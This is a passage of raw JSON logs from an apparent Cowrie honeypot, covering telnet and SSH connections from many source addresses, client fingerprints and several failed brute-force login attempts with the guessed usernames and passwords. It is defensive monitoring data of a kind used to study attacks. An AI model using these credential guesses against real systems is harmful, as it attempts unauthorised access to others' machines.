af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.419693Z","src_ip":"181.234.2.36","session":"459ee60e1f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser1234","message":"login attempt [ubuntu/hduser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.834396Z","src_ip":"181.234.2.36","session":"459ee60e1f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49838,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e9a1d3fdba","protocol":"telnet","message":"New connection: 62.210.97.77:49838 (10.17.0.5:23) [session: 64e9a1d3fdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:52.899581Z"}
{"eventid":"cowrie.session.closed","duration":7.373511075973511,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:53.808737Z","src_ip":"38.54.119.93","session":"9f5b4677f5cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:53.932050Z","src_ip":"181.234.2.36","session":"459ee60e1f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50458,"dst_ip":"10.17.0.5","dst_port":23,"session":"0355e3c45098","protocol":"telnet","message":"New connection: 165.232.131.181:50458 (10.17.0.5:23) [session: 0355e3c45098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:53.942404Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49844,"dst_ip":"10.17.0.5","dst_port":23,"session":"632631221ef9","protocol":"telnet","message":"New connection: 62.210.97.77:49844 (10.17.0.5:23) [session: 632631221ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:07:55.694394Z"}
{"eventid":"cowrie.session.closed","duration":37.09361672401428,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:04.606065Z","src_ip":"62.210.97.77","session":"0db710d831f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.414360523223877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:04.681523Z","src_ip":"62.210.97.77","session":"8027908aa6d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82e171c0ed0","protocol":"telnet","message":"New connection: 65.60.27.33:58480 (10.17.0.5:23) [session: a82e171c0ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:05.004842Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb4bf9f1ddf","protocol":"telnet","message":"New connection: 165.232.131.181:55652 (10.17.0.5:23) [session: 2cb4bf9f1ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:07.252251Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"043086a4cc72","protocol":"telnet","message":"New connection: 165.232.131.181:56546 (10.17.0.5:23) [session: 043086a4cc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:08.281741Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":52730,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ed75fab522","protocol":"ssh","message":"New connection: 172.185.24.228:52730 (10.17.0.5:22) [session: 80ed75fab522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:08.707994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:08.711979Z","src_ip":"172.185.24.228","session":"80ed75fab522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:08.816384Z","src_ip":"172.185.24.228","session":"80ed75fab522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"administrator123","message":"login attempt [guest/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:09.172280Z","src_ip":"172.185.24.228","session":"80ed75fab522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48642,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca6840de41f","protocol":"telnet","message":"New connection: 62.210.97.77:48642 (10.17.0.5:23) [session: 6ca6840de41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:09.186725Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57096,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb066bd9e72f","protocol":"telnet","message":"New connection: 192.211.53.160:57096 (159.203.135.109:23) [session: eb066bd9e72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:09.455851Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48644,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6465876fb23","protocol":"telnet","message":"New connection: 62.210.97.77:48644 (10.17.0.5:23) [session: c6465876fb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:09.489779Z"}
{"eventid":"cowrie.session.closed","duration":2.2856476306915283,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:09.537763Z","src_ip":"165.232.131.181","session":"2cb4bf9f1ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:10.254750Z","src_ip":"172.185.24.228","session":"80ed75fab522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.84947443008423,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:14.114003Z","src_ip":"65.60.27.33","session":"c68d33be45b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00121021270752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:14.625898Z","src_ip":"188.66.52.72","session":"a5f4d9797bdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":31453,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a5a2ec4075","protocol":"telnet","message":"New connection: 188.66.52.72:31453 (10.17.0.5:23) [session: 18a5a2ec4075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:15.913867Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59394,"dst_ip":"10.17.0.5","dst_port":23,"session":"f693e47e209b","protocol":"telnet","message":"New connection: 165.232.131.181:59394 (10.17.0.5:23) [session: f693e47e209b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:16.092262Z"}
{"eventid":"cowrie.session.closed","duration":120.00198936462402,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:16.929832Z","src_ip":"188.66.52.72","session":"3c1b8259561a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06293177604675,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:17.649381Z","src_ip":"62.210.97.77","session":"f96b409be5d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":34171,"dst_ip":"10.17.0.5","dst_port":23,"session":"200dcc93a27f","protocol":"telnet","message":"New connection: 188.66.52.72:34171 (10.17.0.5:23) [session: 200dcc93a27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:17.807536Z"}
{"eventid":"cowrie.session.closed","duration":120.00241589546204,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:18.769439Z","src_ip":"188.66.52.72","session":"37076b999c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":35105,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ca0de0acc1","protocol":"telnet","message":"New connection: 188.66.52.72:35105 (10.17.0.5:23) [session: 19ca0de0acc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:19.924271Z"}
{"eventid":"cowrie.session.closed","duration":120.00130414962769,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:20.529683Z","src_ip":"188.66.52.72","session":"bb33ee3c4e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46244,"dst_ip":"10.17.0.5","dst_port":23,"session":"6243d15756ae","protocol":"telnet","message":"New connection: 62.210.97.77:46244 (10.17.0.5:23) [session: 6243d15756ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:21.973254Z"}
{"eventid":"cowrie.session.closed","duration":34.78569579124451,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:22.168051Z","src_ip":"62.210.97.77","session":"4bdb618f4cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46254,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08652b50eb8","protocol":"telnet","message":"New connection: 62.210.97.77:46254 (10.17.0.5:23) [session: c08652b50eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:24.296778Z"}
{"eventid":"cowrie.session.closed","duration":32.42487192153931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:25.324347Z","src_ip":"62.210.97.77","session":"64e9a1d3fdba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34730,"dst_ip":"10.17.0.5","dst_port":23,"session":"24059f196133","protocol":"telnet","message":"New connection: 165.232.131.181:34730 (10.17.0.5:23) [session: 24059f196133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:25.541838Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34026,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e967fff0ec","protocol":"telnet","message":"New connection: 165.232.131.181:34026 (10.17.0.5:23) [session: c8e967fff0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:26.514798Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34136,"dst_ip":"10.17.0.5","dst_port":23,"session":"a43332a66805","protocol":"telnet","message":"New connection: 165.232.131.181:34136 (10.17.0.5:23) [session: a43332a66805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:26.824225Z"}
{"eventid":"cowrie.session.closed","duration":1.0631513595581055,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:27.887199Z","src_ip":"165.232.131.181","session":"a43332a66805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.692469120025635,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:30.526421Z","src_ip":"165.232.131.181","session":"970d6b3f27bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.02266764640808,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:31.716943Z","src_ip":"62.210.97.77","session":"632631221ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59370,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf79ace14297","protocol":"telnet","message":"New connection: 65.60.27.33:59370 (10.17.0.5:23) [session: bf79ace14297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:32.425389Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46878,"dst_ip":"10.17.0.5","dst_port":23,"session":"154e62ff0709","protocol":"telnet","message":"New connection: 38.54.119.93:46878 (10.17.0.5:23) [session: 154e62ff0709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:36.066177Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe437976086","protocol":"telnet","message":"New connection: 62.210.97.77:51492 (10.17.0.5:23) [session: fbe437976086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:38.179398Z"}
{"eventid":"cowrie.session.closed","duration":50.5782413482666,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:38.415113Z","src_ip":"165.232.131.181","session":"55f252d6f2f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.89302682876587,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:38.835313Z","src_ip":"165.232.131.181","session":"0355e3c45098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47690,"dst_ip":"10.17.0.5","dst_port":23,"session":"48db5c22d744","protocol":"telnet","message":"New connection: 62.210.97.77:47690 (10.17.0.5:23) [session: 48db5c22d744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:43.253633Z"}
{"eventid":"cowrie.session.closed","duration":34.072015047073364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:43.258637Z","src_ip":"62.210.97.77","session":"6ca6840de41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6aa926326a","protocol":"telnet","message":"New connection: 62.210.97.77:47680 (10.17.0.5:23) [session: cb6aa926326a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:43.507206Z"}
{"eventid":"cowrie.session.closed","duration":35.23194146156311,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:44.721629Z","src_ip":"62.210.97.77","session":"c6465876fb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.78940439224243,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:45.794104Z","src_ip":"65.60.27.33","session":"a82e171c0ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54278,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcd653faffc","protocol":"telnet","message":"New connection: 38.54.119.93:54278 (10.17.0.5:23) [session: 6bcd653faffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:47.111235Z"}
{"eventid":"cowrie.session.closed","duration":40.7553288936615,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:50.211067Z","src_ip":"192.211.53.160","session":"eb066bd9e72f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60384,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b4e7490d076","protocol":"telnet","message":"New connection: 62.210.97.77:60384 (10.17.0.5:23) [session: 0b4e7490d076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:52.470700Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":33108,"dst_ip":"159.203.135.109","dst_port":22,"session":"76614da225f6","protocol":"ssh","message":"New connection: 181.234.2.36:33108 (159.203.135.109:22) [session: 76614da225f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:53.009894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:53.015001Z","src_ip":"181.234.2.36","session":"76614da225f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:53.107379Z","src_ip":"181.234.2.36","session":"76614da225f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.036435127258301,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:53.147572Z","src_ip":"38.54.119.93","session":"6bcd653faffc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin8888","message":"login attempt [root/admin8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:53.502877Z","src_ip":"181.234.2.36","session":"76614da225f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.02128577232361,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:54.302936Z","src_ip":"165.232.131.181","session":"043086a4cc72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:54.595803Z","src_ip":"181.234.2.36","session":"76614da225f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06268286705017,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:58.035679Z","src_ip":"62.210.97.77","session":"6243d15756ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.24432182312012,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:08:59.336373Z","src_ip":"165.232.131.181","session":"f693e47e209b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.08155083656311,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:00.378246Z","src_ip":"62.210.97.77","session":"c08652b50eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36100,"dst_ip":"10.17.0.5","dst_port":23,"session":"46586079378f","protocol":"telnet","message":"New connection: 38.54.119.93:36100 (10.17.0.5:23) [session: 46586079378f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:02.600806Z"}
{"eventid":"cowrie.session.closed","duration":38.12320041656494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:03.664566Z","src_ip":"165.232.131.181","session":"24059f196133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d1a64ccd03","protocol":"telnet","message":"New connection: 62.210.97.77:52986 (10.17.0.5:23) [session: f1d1a64ccd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:04.424799Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15f25e1b233","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: e15f25e1b233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:04.845859Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:04.961652Z","src_ip":"77.90.185.16","session":"e15f25e1b233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.275145292282104,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:06.789821Z","src_ip":"165.232.131.181","session":"c8e967fff0ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":46242,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ba9805f3fd","protocol":"ssh","message":"New connection: 172.185.24.228:46242 (10.17.0.5:22) [session: 57ba9805f3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:07.933560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:07.938040Z","src_ip":"172.185.24.228","session":"57ba9805f3fd","protocol":"ssh"}
